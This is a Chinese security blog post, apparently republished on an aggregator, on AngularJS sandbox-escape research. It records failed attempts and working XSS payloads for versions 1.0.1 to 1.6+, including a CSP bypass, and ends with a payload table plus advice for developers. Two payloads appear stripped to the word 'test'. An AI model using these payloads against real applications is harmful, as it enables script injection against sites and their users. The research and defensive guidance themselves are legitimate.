卡了五次壁,换个浏览器版本就通了

admin 2026-09-30 05:46:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入研究了AngularJS沙箱逃逸技术,详细记录了从1.4到1.6+版本的多次失败尝试与最终突破,包括利用浏览器特性、构造人工eval、绕过CSP等方法,并提供了完整payload对照表。文章强调实战性,建议开发者避免将用户输入直接用于orderby等过滤器,并假设沙箱可被绕过。 综合评分: 88 文章分类: web安全,漏洞分析,渗透测试,红队


卡了五次壁,换个浏览器版本就通了

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年9月24日 07:57 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

📌 这篇讲什么:接上篇。上篇我们把 AngularJS 沙箱的历史翻了一遍,并在没有 {{ }}、$eval 和 $$watchers 的 orderBy 场景里,从零写出了两条新逃逸。下篇接着往上打:1.4 分支我连碰五次壁(每一条失败都写出来了,失败往往比成功更有信息量),最后靠一个 Angular 没检查的事件属性翻盘;然后是在沙箱里人工造一个 eval,以及收官那一击——连 CSP 模式一起打穿。

文末附完整版本 × payload 对照表(1.0.1 到 1.6+ 全覆盖),建议直接截图存手机,实战用得上。


一、1.4 分支:连着五次碰壁 🧱

上篇收尾的 {}.”)));alert(1)//”; 覆盖了 1.3 全线,接下来自然是 1.4。

这一段是我整段研究里挫败感最强的部分,我原样讲。

死路一:用 proto 设全局变量

在 Safari 和 IE11 上,proto 可以拿来设置全局变量——但你没法覆盖已经存在的属性,只能造新的。

({}).__proto__.__proto__ = {__proto__:null, x:123};alert(window.x)   // 旧版 Safari 和 IE11 上有效

听着有戏。真用起来是死路:自己定义的属性,优先级高于从 Object 原型继承来的属性。我想覆盖的那个东西,恰好永远赢不了它自己。

死路二:用布尔值骗过真值检查

ensureSafeObject 里用的是 if (obj) 这种真值判断。那我塞个假值进去,不就整个跳过检查了吗?

false.__proto__.x = Function;    if(!false) false.x('alert(1)')();

思路很漂亮。但 Angular 不是只看最后一个对象——它会沿着属性链检查每一环。链子中间那个 constructor 照样会被逮住。

死路三:把 Function 的 proto 干掉

还可以这样:把 Function 构造器的 proto 设为 null,它的 constructor 就变成了 undefined——obj.constructor === obj 这条检查自然落空。

问题是有个更根本的坑:你要改 Function 的proto,你先得拿到 Function。而 Angular 恰恰挡的就是这一步。

就算你覆盖掉了每个函数自己的 constructor,代价也来了:原始的 Function 构造器,你自己也找不回来了。

Function.__proto__ = null;alert(Function.constructor);              // undefinedFunction.prototype.constructor('alert(1)')();   // 但这条路又被 Angular 挡着

死路四:Firefox 51 的 caller

Firefox 51 有个挺有意思的行为:可以用 lookupGetter 拿到函数的调用者(caller)。其他所有浏览器都不让这么访问。

function y(){   alert(y.__lookupGetter__('caller').call(y));}function x(){ y() }x();

很酷,可惜在 Angular 里没有可用的函数能让我凑出这条链。还是死路。

死路五:给 Function 造个别名

最后一搏——用 defineGetter 加 valueOf,给 Function 构造器造个别名:

'a'.sub.__proto__.__defineGetter__('x',[].valueOf);Function.x('alert(1)')();

不行。只要我一碰constructor属性去拿到 Function,就把想要保护的东西破坏了。死结。

顺带提一个半途的收获:getter 可以让你执行”本来需要对象才能调用”的函数,因为这时 this 就是宿主对象。比如拿 __proto__ 这个方法去取对象原型:

o={};o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));o.x   // 拿到当前对象的 __proto__

这条没帮我破沙箱,但它给了我下一节的灵感。

二、转机:Chrome 上的那扇门 🚪

死路走完,我换了个问题问自己:lookupGetter的默认对象是什么?

在 Chrome 上,答案是——window。

这意味着你可以保存一个 lookupGetter 的引用,然后直接用它去查 window 上的任何东西,比如 document:

l = {}.__lookupGetter__;l('document')().defaultView.alert(1)

defineSetter 同理:

x = {}.__defineSetter__;x('y', alert);y = 1

只有一个小麻烦:Angular 会把 alert() 这种直接函数调用,偷偷改写成”Angular 对象上的方法调用”。

解决办法特别 JS——间接调用。(l = l) 这个赋值表达式的值是 l 本身,但走了一趟赋值之后,Angular 就不再把它当成方法调用了,于是 lookupGetter 得以在window 的上下文里执行:

x = {};l = x[['__lookupGetter__']];d = (l = l)('document')();

我们拿到 document 了。这也意味着 Angular 完蛋了,对吧?

嗯,没有。Angular 还有一个检查——它会检查每个对象是不是 DOM 节点:

} else if (// isElement(obj)   obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {   throw $parseMinErr('isecdom',     'Referencing DOM nodes in Angular expressions is disallowed! …');}

document 被拦下了。

我想用 defineGetter 把这个 getter 函数赋给一个属性来绕过——但那样会破坏 window 的引用,取不到 document。

于是我做了一件笨事:把 Chrome 56.0.2924.87 的每一个属性都模糊测试了一遍,看哪些 getter 可用。

结论很惨——只有 proto 和 document。两个都被看死了。

然后我做了一件聪明事:换 Chrome beta 57.0.2987.54 再测一遍。

可用的 getter 多出来一大截。

我把这些 getter 挨个试过去。一开始的成果不算吓人——能偷 localStorage,能读浏览历史。有意思,但还谈不上”打穿”。

继续测。然后我看到了event。

每个 event 对象都有一个 target 属性,指向触发这个事件的那个 DOM 对象。而 Angular 的检查名单里,恰好没有target。

于是链条通了:

o = {};l = o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location = 'javascript:alert(1)';

三步:

  1. (l=l)('event')()

    —— 拿到那个没进入检查名单的事件对象;

  2. .target

    —— 它指向 DOM 节点,而 Angular 不查这个属性;

  3. .defaultView

    —— 从 DOM 节点回到 window,然后给 location 赋一个 javascript: 伪协议地址,代码执行。

最后实现了在Chrome1.4.5的弹窗~

回头看这节我最想说的其实是:在卡死的时候,换一个版本的浏览器再测一遍,是成本最低、命中率最高的一招。新版本往往打开新的门,而且厂商自己还没意识到。

三、更新版本:在沙箱里造一个 eval 🧪

再往上打,新沙箱把 lookupGetter 保护起来了,数组访问器那一套也不灵了。

这时候得换个思路想问题。既然 orderBy 上下文缺的是”执行能力”($eval 没了),那——我能不能自己造一个?

关键洞察在这里:orderBy过滤器本身,就是把字符串当作 Angular 表达式去求值的。

那么,在 orderBy 里再套一层 orderBy,不就等于得到了一个 eval?

当然没那么容易,得先破掉 Angular 自带的几道锁。做法是先执行沙箱逃逸的第一部分:让charAt返回更长的字符串,以此破坏 Angular 的isIdent函数(这招我在上一篇博客里写过)。

x = {y:''.constructor.prototype};x.y.charAt = [].join;[1]|orderBy:'x=alert(1)'

三行的意思:

  • 第一行拿到 String 的原型;
  • 第二行把 charAt 偷偷换成 join(记得上篇那个”join 会被自动调用”的现象吗,在这里派上用场了);
  • 第三行:对 [1] 应用 orderBy,而排序表达式是 x=alert(1) —— 它被当作表达式求值了。

这就是沙箱里的人工 eval。适用 1.4.5 – 1.5.8(Chrome)。

四、收官:把 CSP 模式也打穿 🔓

最后是 1.5.11。

坦白讲,这一个版本我没能在纯 DOM 上下文里打穿。但我找到了一条在属性上下文里有效的路。

用上篇那套”字符串原型 + setTimeout”的对象枚举策略,我发现 Chrome 里 Angular 的 $event 对象有一个path属性,它的值是一个数组——而这个数组里,同时装着 document 和 window。

那还等什么?把这个数组传给 orderBy,表达式求值的作用域就被换成了 window:

test

点一下,弹窗。

但只要你把 CSP 打开,它就哑了。

原因是:Angular 在 CSP 模式下,会检查调用函数的那个 window 对象,于是这条逃逸被拦下。

绕过方法又落回老朋友身上——间接调用。

这次借的是 Array.from:它接受两个参数,第一个是类数组对象,第二个是对数组中每个元素执行的函数。我传一个含元素 1 的数组,再传要执行的 alert:

test

CSP 模式下,依然弹窗。而且这条思路应当适用于每一个 Angular 版本。

到这儿,从 1.0.1 一路打到最新版,链条闭合了。

五、收工:一张可以直接存手机的表 📋

下面是完整的基于 DOM 的 AngularJS 沙箱逃逸清单。这是这个系列里我最建议你截图保存的东西。

| 版本 | 作者 | Payload | | — | — | — | | 1.0.1 – 1.1.5 | Mario Heiderich (Cure53) | constructor.constructor('alert(1)')() | | 1.2.0 – 1.2.18 | Jan Horn (Cure53) | a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() | | 1.2.19 – 1.2.23 | Mathias Karlsson | toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor); | | 1.2.24 – 1.2.26 | Gareth Heyes (PortSwigger) | {}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')() | | 1.2.27 – 1.2.29 / 1.3.0 – 1.3.20 | Gareth Heyes (PortSwigger) | {}.")));alert(1)//"; | | 1.4.0 – 1.4.5 | Gareth Heyes (PortSwigger) | o={};l=o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location='javascript:alert(1)'; | | 1.4.5 – 1.5.8 | Gareth Heyes & Ian Hickey | x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=alert(1)' | | ≥ 1.6.0 | Mario Heiderich (Cure53) | constructor.constructor('alert(1)')() |

顺带一提:这类列表在 XSS 速查表里是持续维护的,分了三块——反射型 AngularJS 沙箱逃逸、基于 DOM 的 AngularJS 沙箱逃逸、AngularJS CSP 绕过。有新绕过出来就会更新,建议存个书签。

六、给开发者几句掏心窝的话 🧠

  1. 永远不要把用户输入喂给 orderBy 这类过滤器,也不要在服务端反射用户输入到模板里。这是整个系列里唯一真正管用的建议。
  2. 无论你用的是哪个版本、用户输入落在什么上下文里,都请直接假设沙箱已经被绕过了。 这张表说明了一件事:从 1.0.1 到 1.5.11,没有哪个版本是安全的。

给打算给自家语言/框架加沙箱的人:

动手之前请认真算一笔账——它带来的安全收益,是否真的超过开发成本,以及它可能给一部分用户制造的”虚假安全感”。

虚假安全感是最贵的:因为有了沙箱,开发者就不再做输出编码了。而 Angular 官方的态度已经写得很明白——他们从不认为沙箱是一项安全功能。

给猎人:

  1. 先看上下文,再挑 payload。 同一个框架,有没有 {{ }}、有没有 $eval,结论天差地别。
  2. 检查用的是 ===,就试试等价物。 数组访问器这一招,贯穿了整个系列。
  3. 失败要记账。 我那五条死路,每一条都在告诉我”这堵墙是实的”,把搜索空间砍掉了大半。
  4. 卡住就换版本。 Chrome beta 那次换手,是整个 1.4 攻坚战的转折点。

上堆了十年的补丁墙,被一个引号撬开了下两篇到这里收尾,照例求个三连。

从第一次碰壁到最后把 CSP 也绕过去,这一整套东西断断续续搞了很久,笔记记了小半本。如果它让你下次看到那种”表格排序参数直接取 URL”的老 Angular 页面时,会下意识多停两秒——那这些夜晚就没白花。这两秒,可能就是别人漏掉、而你捡到的那个洞。

  • 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
  • 顺手**「转发」**给群里那几个还在维护 Angular 1.x 老项目的兄弟,第五节那张表直接甩给他们;
  • 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
  • 也欢迎**「推荐」**给身边做前端、做安全的朋友,一起少写点”把用户输入喂给过滤器”的代码。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《卡了五次壁,换个浏览器版本就通了》

每周文章分享-277 网络安全文章

每周文章分享-277

文章总结: 本文介绍hmarl-cbf,一种层次化多智能体强化学习框架,结合控制障碍函数确保安全关键系统逐时刻安全。高层学习技能选择,低层通过CBF-QP硬约束
评论:0   参与:  0